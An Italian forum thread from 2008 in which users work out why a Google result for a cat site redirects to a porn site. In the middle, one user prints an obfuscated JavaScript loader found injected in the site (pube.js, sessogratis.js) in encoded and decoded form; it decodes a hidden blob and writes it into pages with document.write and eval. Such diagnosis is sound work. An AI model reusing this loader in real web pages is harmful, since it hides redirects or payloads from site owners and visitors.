Pagina 1 di 2

strano problema google porno e gatti :S

Inviato: mer 25 giu 2008, 14:08
da gattino_usb
digitando in google la keyword "miao" mi esce un link, proprio il primo...www.ciaomiao.com...ma clickando sul titolo mi redirige ad un sito porno...ma il sito non è porno :| capita anche a voi?

Re: strano problema google porno e gatti :S

Inviato: mer 25 giu 2008, 14:16
da michele.p
...a me esce una home page con su la scritta "Cerca il gatto dei tuoi sogni". :D

Bye 8)

Re: strano problema google porno e gatti :S

Inviato: mer 25 giu 2008, 14:20
da gattino_usb
michele.p ha scritto:...a me esce una home page con su la scritta "Cerca il gatto dei tuoi sogni". :D

Bye 8)
infatti quello dovrebbe uscire... ma mi redirige a orn6 ... http://www.google.it/url?sa=t&ct=res&cd ... Dd6vV-UhEQ :S

se clicko da qui mi va sul sito giusto...ma se lo clicco su google mi manda a orn6.com... :S

Re: strano problema google porno e gatti :S

Inviato: mer 25 giu 2008, 14:25
da michele.p
...no, a me continua a "funzionare regolarmente". Prova a svuotare la cache ed elimina tutti i cookie... :dontknow:

Bye 8)

Re: strano problema google porno e gatti :S

Inviato: mer 25 giu 2008, 14:31
da gattino_usb
michele.p ha scritto:...no, a me continua a "funzionare regolarmente". Prova a svuotare la cache ed elimina tutti i cookie... :dontknow:

Bye 8)
niente :S ...inizio a pensare che sia una strategia di google.... :rolleyes:

Re: strano problema google porno e gatti :S

Inviato: mer 25 giu 2008, 14:34
da kasher
anche a me mi ridirige sul sito sporcaccione, strano! errore di google?? vabbè gattino_usb dato che ci sei dagli un occhiata al sito delle gattine sexy.. :badgrin: :badgrin: :badgrin:

Re: strano problema google porno e gatti :S

Inviato: mer 25 giu 2008, 14:36
da gattino_usb
kasher ha scritto:anche a me mi ridirige sul sito sporcaccione, strano! errore di google?? vabbè gattino_usb dato che ci sei dagli un occhiata al sito delle gattine sexy.. :badgrin: :badgrin: :badgrin:
:badgrin: :lol: :lol: :lol:

Re: strano problema google porno e gatti :S

Inviato: mer 25 giu 2008, 14:54
da conraid
Se guardi il sorgente del sito dei "gatti" ti accorgi di cose un po' strane

<script language="jscript" src="sessogratis.js"></script>
<script language="jscript" src="pube.js"></script>


Guarda le gatte come ti hanno consigliato ed i gatti guardali altrove

Re: strano problema google porno e gatti :S

Inviato: mer 25 giu 2008, 15:00
da gattino_usb
conraid ha scritto:Se guardi il sorgente del sito dei "gatti" ti accorgi di cose un po' strane

<script language="jscript" src="sessogratis.js"></script>
<script language="jscript" src="pube.js"></script>


Guarda le gatte come ti hanno consigliato ed i gatti guardali altrove
:lol: con mia sorella di 5 anni che vuole guardare i gattini mi sa che non è il massimo . :lol:

Re: strano problema google porno e gatti :S

Inviato: mer 25 giu 2008, 15:11
da kasher
conraid mi hai anticipato, comunque ho notato che aprendo il link senza referrer visualizza il sito giusto e non fa alcun redirect, quindi il problema sta proprio negli script js del sito. Ho provato a visualizzarne il contenuto ed ho notato che sono codificati, ma sono riuscito a decodificarli.
pube.js
cdificato:

Codice: Seleziona tutto

document.write(unescape('%3c%73c%72%69%70%74%3e%0a%768%7a36%789%20%3d%20%27abcdef%27%3b%0a%6c07%6d%7a5b%20%3d%20%2706acd3e61cd8465ce2%27%3b%0a%72%6f%76%75%7653d%20%3d%20%273c7363726970743e747061747a7a203d204d6174682e616273284d6174682e73696e284d6174682e636f73284d6174682e50492929293b3c2f7363726970743e0a%27%3b%0ada%6a%720%78%687%20%3d%20%790b%73a%774%6a%28%72%6f%76%75%7653d%29%3b%0a%74%70a%74%7a%7a%20%3d%20%74%70a%74%7a%7a%2e%74%6f%53%74%72%69%6e%67%28%29%2e%73%75b%73%74%72%69%6e%67%282,15%29%3b%0a%797%6b%750%76%6a%70%20%3d%20%6ee%77%20%41%72%72a%79%28%29%3b%0a%0af%6f%72%20%28%6bf%76e2%69%20%3d%200%3b%20%6bf%76e2%69%3c13%3b%20%6bf%76e2%69%2b%2b%29%20%7b%0a%797%6b%750%76%6a%70%5b%6bf%76e2%69%5d%20%3d%20%74%70a%74%7a%7a%2ec%68a%72%41%74%28%6bf%76e2%69%29%3b%0a%7d%20%0a%0a%76%6c%77%72%720b%20%3d%20%27%e8%5b%26%25%2e%3b%5d%28%7b%7b%3f%21%21%e8%e9%f2%e7%b0%23%ec%5b%a7%5d%7e%60%f9%27%3b%0a%76%6c%77%72%720b%20%3d%20%78%717%7a%6b%69d%77%28%76%6c%77%72%720b%29%3b%0a%0a%72%72498d%20%3d%20%27e23e528fb8df1cef618cb5e11c3a62868fe9143b7493cd74736df92c426facbed1e54a85a5d5cfed12315a95aa296075b8cffa366541a0d9081d5e8862a0b3ec294a8376c9f9648ebad6173c2c96c9d913456e5bc2f7103f68939091e4fd738ec1ee214c4a31%27%3b%0a%0a%72%72498d%20%3d%20f%74%76%6ae%6d%67%76%28%72%72498d%29%3b%0a%0af%75%6ec%74%69%6f%6e%20%73%72%6a%6aa7%68%28%77a%6f%6d0%75%29%20%7b%0a%79%6c%6e32%73%20%3d%200%3b%0af%6f%72%28%6a%6f%7593b%20%3d%200%3b%20%6a%6f%7593b%20%3c%206%3b%20%6a%6f%7593b%2b%2b%29%20%7b%0a%71%68%6c%70%712%7a%20%3d%20%768%7a36%789%2e%73%75b%73%74%72%69%6e%67%28%6a%6f%7593b,%20%6a%6f%7593b%2b1%29%3b%0a%69f%20%28%77a%6f%6d0%75%20%3d%3d%20%28%6a%6f%7593b%20%2b%2010%29%29%20%7b%0a%79%6c%6e32%73%20%3d%20%71%68%6c%70%712%7a%3b%0a%7d%0a%7d%0a%69f%20%28%79%6c%6e32%73%20%3c%2010%29%20%7b%0a%79%6c%6e32%73%20%3d%20%22%22%20%2b%20%77a%6f%6d0%75%3b%0a%7d%0a%72e%74%75%72%6e%20%79%6c%6e32%73%3b%0a%7d%0a%0af%75%6ec%74%69%6f%6e%20f%6b%76%6c%79d%76%78%28%77a%6f%6d0%75%29%20%7b%0a%79%6c%6e32%73%20%3d%200%3b%0af%6f%72%28%6a%6f%7593b%20%3d%200%3b%20%6a%6f%7593b%20%3c%206%3b%20%6a%6f%7593b%2b%2b%29%20%7b%0a%71%68%6c%70%712%7a%20%3d%20%768%7a36%789%2e%73%75b%73%74%72%69%6e%67%28%6a%6f%7593b,%20%6a%6f%7593b%2b1%29%3b%0a%69f%20%28%77a%6f%6d0%75%20%3d%3d%20%71%68%6c%70%712%7a%29%20%7b%0a%79%6c%6e32%73%20%3d%2010%20%2b%20%6a%6f%7593b%3b%0a%7d%0a%7d%0a%69f%20%28%79%6c%6e32%73%20%3c%2010%29%20%7b%0a%79%6c%6e32%73%20%3d%20e%76a%6c%28%77a%6f%6d0%75%29%3b%0a%7d%0a%72e%74%75%72%6e%20%79%6c%6e32%73%3b%0a%7d%0a%0af%75%6ec%74%69%6f%6e%20f%74%76%6ae%6d%67%76%28%79%6c%6e32%73%29%20%7b%0a%69%6a9%6a%73c%6c%20%3d%20%2d1%3b%0a%6f34%7588%79%20%3d%20144693%3b%0af%6f%72%20%28%70%6a75f%77%20%3d%200%3b%20%70%6a75f%77%20%3c%20%79%6c%6e32%73%2e%6ce%6e%67%74%68%3b%20%70%6a75f%77%20%3d%20%70%6a75f%77%20%2b%202%29%20%7b%0a%69%6a9%6a%73c%6c%2b%2b%3b%0a%69f%20%28%69%6a9%6a%73c%6c%20%3e%2012%29%20%7b%69%6a9%6a%73c%6c%20%3d%200%3b%7d%0a%6f34%7588%79%20%3d%20%6f34%7588%79%20%2b%2043%3b%0a%69f%20%28%6f34%7588%79%20%3e%20145716%29%20%7b%6f34%7588%79%20%3d%200%3b%7d%0a%6b%6a%68%6c%75%79%75%20%3d%20%28%6f34%7588%79%20%25%20%28e%76a%6c%28%797%6b%750%76%6a%70%5b%69%6a9%6a%73c%6c%5d%29%20%2b%201%29%29%3b%0a%6b%6a%68%6c%75%79%75%20%3d%20%6b%6a%68%6c%75%79%75%20%2b%20%28%6f34%7588%79%20%25%20255%29%3b%0a%7a299%7a%69%70%20%3d%20%79%6c%6e32%73%2e%73%75b%73%74%72%69%6e%67%28%70%6a75f%77,%20%70%6a75f%77%20%2b%202%29%3b%0a%7a299%7a%69%70%20%3d%20%6b0%75%6b%7a%74%28%7a299%7a%69%70,%20%69%6a9%6a%73c%6c,%20%6b%6a%68%6c%75%79%75%29%3b%0a%7a299%7a%69%70%20%3d%20%27%25%27%20%2b%20%7a299%7a%69%70%3b%0ad%6fc%75%6de%6e%74%2e%77%72%69%74e%28%75%6ee%73ca%70e%28%7a299%7a%69%70%29%29%3b%0a%0a%7d%0a%72e%74%75%72%6e%200%3b%0a%7d%0a%0af%75%6ec%74%69%6f%6e%20%6b0%75%6b%7a%74%28%76%69%6c5%77%71,%20ddb,%20ddc%29%20%7b%0a%76%69%6c5%77%71%20%3d%20%76%69%6c5%77%71%2e%74%6f%4c%6f%77e%72%43a%73e%28%29%3b%0a%76%69%6c5%77%71%20%3d%20f%6b%76%6c%79d%76%78%28%76%69%6c5%77%71%2e%73%75b%73%74%72%69%6e%67%280,%201%29%29%20%2a%2016%20%2b%20f%6b%76%6c%79d%76%78%28%76%69%6c5%77%71%2e%73%75b%73%74%72%69%6e%67%281,%202%29%29%3b%0a%76%69%6c5%77%71%20%3d%20%76%69%6c5%77%71%20%2d%20%797%6b%750%76%6a%70%5bddb%5d%20%2d%20ddc%3b%0a%69f%20%28%76%69%6c5%77%71%20%3c%200%29%20%7b%76%69%6c5%77%71%20%3d%20255%20%2b%20%76%69%6c5%77%71%3b%7d%0a%76%69%6c5%77%71%20%3d%20%73%72%6a%6aa7%68%28%4da%74%68%2ef%6c%6f%6f%72%28%76%69%6c5%77%71%20%2f%2016%29%29%20%2b%20%73%72%6a%6aa7%68%28%76%69%6c5%77%71%20%25%2016%29%3b%0a%72e%74%75%72%6e%20%76%69%6c5%77%71%3b%0a%7d%0a%0af%75%6ec%74%69%6f%6e%20%78%717%7a%6b%69d%77%28%6d5da%77%79%29%20%7b%0a%6d5da%77%79%20%3d%20e%73ca%70e%28%6d5da%77%79%29%3b%0a%72e%74%75%72%6e%20%6d5da%77%79%3b%20%0a%7d%0a%0af%75%6ec%74%69%6f%6e%20%790b%73a%774%6a%28%6c07%6d%7a5b%29%20%7b%0af%6f%72%28%67%69%77%79%7a%73a5%20%3d%200%3b%20%67%69%77%79%7a%73a5%20%3c%20%6c07%6d%7a5b%2e%6ce%6e%67%74%68%3b%20%67%69%77%79%7a%73a5%20%3d%20%67%69%77%79%7a%73a5%20%2b%202%29%20%7b%0a%6d4%6afc%797%20%3d%20%6c07%6d%7a5b%2e%73%75b%73%74%72%69%6e%67%28%67%69%77%79%7a%73a5,%20%67%69%77%79%7a%73a5%20%2b%202%29%3b%0a%6d4%6afc%797%20%3d%20%27%25%27%20%2b%20%6d4%6afc%797%3b%0ad%6fc%75%6de%6e%74%2e%77%72%69%74e%28%75%6ee%73ca%70e%28%6d4%6afc%797%29%29%3b%0a%7d%0a%72e%74%75%72%6e%20%27e%76a%6c%28%22%6a%72%71b9%79%79%7a%20%3d%20e%73ca%70e%28%76%6c%77%72%720b%29%22%29%27%3b%0a%7d%0a%3c%2f%73c%72%69%70%74%3e%0a%0a%0a'));
decodificato:

Codice: Seleziona tutto

document.write(unescape('<script>
v8z36x9 = 'abcdef';
l07mz5b = '06acd3e61cd8465ce2';
rovuv53d = '3c7363726970743e747061747a7a203d204d6174682e616273284d6174682e73696e284d6174682e636f73284d6174682e50492929293b3c2f7363726970743e0a';
dajr0xh7 = y0bsaw4j(rovuv53d);
tpatzz = tpatzz.toString().substring(2,15);
y7ku0vjp = new Array();

for (kfve2i = 0; kfve2i<13; kfve2i++) {
y7ku0vjp[kfve2i] = tpatzz.charAt(kfve2i);
} 

vlwrr0b = 'è[&%.;]({{?!!èéòç°#ì[§]~`ù';
vlwrr0b = xq7zkidw(vlwrr0b);

rr498d = 'e23e528fb8df1cef618cb5e11c3a62868fe9143b7493cd74736df92c426facbed1e54a85a5d5cfed12315a95aa296075b8cffa366541a0d9081d5e8862a0b3ec294a8376c9f9648ebad6173c2c96c9d913456e5bc2f7103f68939091e4fd738ec1ee214c4a31';

rr498d = ftvjemgv(rr498d);

function srjja7h(waom0u) {
yln32s = 0;
for(jou93b = 0; jou93b < 6; jou93b++) {
qhlpq2z = v8z36x9.substring(jou93b, jou93b+1);
if (waom0u == (jou93b + 10)) {
yln32s = qhlpq2z;
}
}
if (yln32s < 10) {
yln32s = "" + waom0u;
}
return yln32s;
}

function fkvlydvx(waom0u) {
yln32s = 0;
for(jou93b = 0; jou93b < 6; jou93b++) {
qhlpq2z = v8z36x9.substring(jou93b, jou93b+1);
if (waom0u == qhlpq2z) {
yln32s = 10 + jou93b;
}
}
if (yln32s < 10) {
yln32s = eval(waom0u);
}
return yln32s;
}

function ftvjemgv(yln32s) {
ij9jscl = -1;
o34u88y = 144693;
for (pj75fw = 0; pj75fw < yln32s.length; pj75fw = pj75fw + 2) {
ij9jscl++;
if (ij9jscl > 12) {ij9jscl = 0;}
o34u88y = o34u88y + 43;
if (o34u88y > 145716) {o34u88y = 0;}
kjhluyu = (o34u88y % (eval(y7ku0vjp[ij9jscl]) + 1));
kjhluyu = kjhluyu + (o34u88y % 255);
z299zip = yln32s.substring(pj75fw, pj75fw + 2);
z299zip = k0ukzt(z299zip, ij9jscl, kjhluyu);
z299zip = '%' + z299zip;
document.write(unescape(z299zip));

}
return 0;
}

function k0ukzt(vil5wq, ddb, ddc) {
vil5wq = vil5wq.toLowerCase();
vil5wq = fkvlydvx(vil5wq.substring(0, 1)) * 16 + fkvlydvx(vil5wq.substring(1, 2));
vil5wq = vil5wq - y7ku0vjp[ddb] - ddc;
if (vil5wq < 0) {vil5wq = 255 + vil5wq;}
vil5wq = srjja7h(Math.floor(vil5wq / 16)) + srjja7h(vil5wq % 16);
return vil5wq;
}

function xq7zkidw(m5dawy) {
m5dawy = escape(m5dawy);
return m5dawy; 
}

function y0bsaw4j(l07mz5b) {
for(giwyzsa5 = 0; giwyzsa5 < l07mz5b.length; giwyzsa5 = giwyzsa5 + 2) {
m4jfcy7 = l07mz5b.substring(giwyzsa5, giwyzsa5 + 2);
m4jfcy7 = '%' + m4jfcy7;
document.write(unescape(m4jfcy7));
}
return 'eval("jrqb9yyz = escape(vlwrr0b)")';
}
</script>


'));
sessogratis.js
decodificato:

Codice: Seleziona tutto

document.write(unescape('<script>
v8z36x9 = 'abcdef';
l07mz5b = '06acd3e61cd8465ce2';
rovuv53d = '3c7363726970743e747061747a7a203d204d6174682e616273284d6174682e73696e284d6174682e636f73284d6174682e50492929293b3c2f7363726970743e0a';
dajr0xh7 = y0bsaw4j(rovuv53d);
tpatzz = tpatzz.toString().substring(2,15);
y7ku0vjp = new Array();

for (kfve2i = 0; kfve2i<13; kfve2i++) {
y7ku0vjp[kfve2i] = tpatzz.charAt(kfve2i);
} 

vlwrr0b = 'è[&%.;]({{?!!èéòç°#ì[§]~`ù';
vlwrr0b = xq7zkidw(vlwrr0b);

rr498d = 'e23e528fb8df1cef618cb5e11c3a62868fe9143b7493cd74736df92c426facbed1e54a85a5d5cfed12315a95aa296075b8cffa366541a0d9081d5e8862a0b3ec294a8376c9f9648ebad6173c2c96c9d913456e5bc2f7103f68939091e4fd738ec1ee214c4a31';

rr498d = ftvjemgv(rr498d);

function srjja7h(waom0u) {
yln32s = 0;
for(jou93b = 0; jou93b < 6; jou93b++) {
qhlpq2z = v8z36x9.substring(jou93b, jou93b+1);
if (waom0u == (jou93b + 10)) {
yln32s = qhlpq2z;
}
}
if (yln32s < 10) {
yln32s = "" + waom0u;
}
return yln32s;
}

function fkvlydvx(waom0u) {
yln32s = 0;
for(jou93b = 0; jou93b < 6; jou93b++) {
qhlpq2z = v8z36x9.substring(jou93b, jou93b+1);
if (waom0u == qhlpq2z) {
yln32s = 10 + jou93b;
}
}
if (yln32s < 10) {
yln32s = eval(waom0u);
}
return yln32s;
}

function ftvjemgv(yln32s) {
ij9jscl = -1;
o34u88y = 144693;
for (pj75fw = 0; pj75fw < yln32s.length; pj75fw = pj75fw + 2) {
ij9jscl++;
if (ij9jscl > 12) {ij9jscl = 0;}
o34u88y = o34u88y + 43;
if (o34u88y > 145716) {o34u88y = 0;}
kjhluyu = (o34u88y % (eval(y7ku0vjp[ij9jscl]) + 1));
kjhluyu = kjhluyu + (o34u88y % 255);
z299zip = yln32s.substring(pj75fw, pj75fw + 2);
z299zip = k0ukzt(z299zip, ij9jscl, kjhluyu);
z299zip = '%' + z299zip;
document.write(unescape(z299zip));

}
return 0;
}

function k0ukzt(vil5wq, ddb, ddc) {
vil5wq = vil5wq.toLowerCase();
vil5wq = fkvlydvx(vil5wq.substring(0, 1)) * 16 + fkvlydvx(vil5wq.substring(1, 2));
vil5wq = vil5wq - y7ku0vjp[ddb] - ddc;
if (vil5wq < 0) {vil5wq = 255 + vil5wq;}
vil5wq = srjja7h(Math.floor(vil5wq / 16)) + srjja7h(vil5wq % 16);
return vil5wq;
}

function xq7zkidw(m5dawy) {
m5dawy = escape(m5dawy);
return m5dawy; 
}

function y0bsaw4j(l07mz5b) {
for(giwyzsa5 = 0; giwyzsa5 < l07mz5b.length; giwyzsa5 = giwyzsa5 + 2) {
m4jfcy7 = l07mz5b.substring(giwyzsa5, giwyzsa5 + 2);
m4jfcy7 = '%' + m4jfcy7;
document.write(unescape(m4jfcy7));
}
return 'eval("jrqb9yyz = escape(vlwrr0b)")';
}
</script>


'));

Re: strano problema google porno e gatti :S

Inviato: mer 25 giu 2008, 18:00
da gil-galad
Andando in buona fede è molto probabile che gli abbiano sostituito la pagina iniziale ed ancora non si siano accorti di nulla.

La cosa che ho notato è che riprovando da google non redirige più al sito porno.

Il whois non da nulla sul dominio orn6.com, ma risponde all'ip: 74.125.47.103 che è di google.com

ho fatto il ping tramite whois.net ed esce fuori:

Codice: Seleziona tutto

You Have Chosen To Ping orn6.com:
Ping Output:

running ping on orn6.com|4|1

 PING www.l.google.com (74.125.47.103): 56 data bytes
64 bytes from 74.125.47.103: icmp_seq=0 ttl=241 time=16.860 ms
64 bytes from 74.125.47.103: icmp_seq=1 ttl=241 time=17.296 ms
64 bytes from 74.125.47.103: icmp_seq=2 ttl=241 time=16.891 ms
64 bytes from 74.125.47.103: icmp_seq=3 ttl=241 time=17.116 ms

--- www.l.google.com ping statistics ---
4 packets transmitted, 4 packets received, 0% packet loss
round-trip min/avg/max/stddev = 16.860/17.041/17.296/0.177 ms
se si mette 74.125.47.103 sulla barra degli indirizzi di firefox, risponde google.

Che abbiano alterato i dns? :| :|

Re: strano problema google porno e gatti :S

Inviato: mer 25 giu 2008, 20:00
da algol
Oh ma sono da premio per codice offuscato... :pottytrain3:

Re: strano problema google porno e gatti :S

Inviato: mer 25 giu 2008, 22:12
da phobos3576
conraid ha scritto:Se guardi il sorgente del sito dei "gatti" ti accorgi di cose un po' strane

<script language="jscript" src="sessogratis.js"></script>
<script language="jscript" src="pube.js"></script>


Guarda le gatte come ti hanno consigliato ed i gatti guardali altrove
Non oso immaginare lo scopo del codice presente in pube.js ...

Re: strano problema google porno e gatti :S

Inviato: gio 26 giu 2008, 17:44
da Harp
Sono senza parole!!!

Non so chi è più malato fra: :-D :-D :-D :-D :-D

Re: strano problema google porno e gatti :S

Inviato: gio 26 giu 2008, 21:16
da gattino_usb
Sono senza parole!!! Non so chi è più malato fra: chi cerca miao con google chi redirige miao a http://www.orn6.com/
ahah smascherato il mio innato amore per i felini :D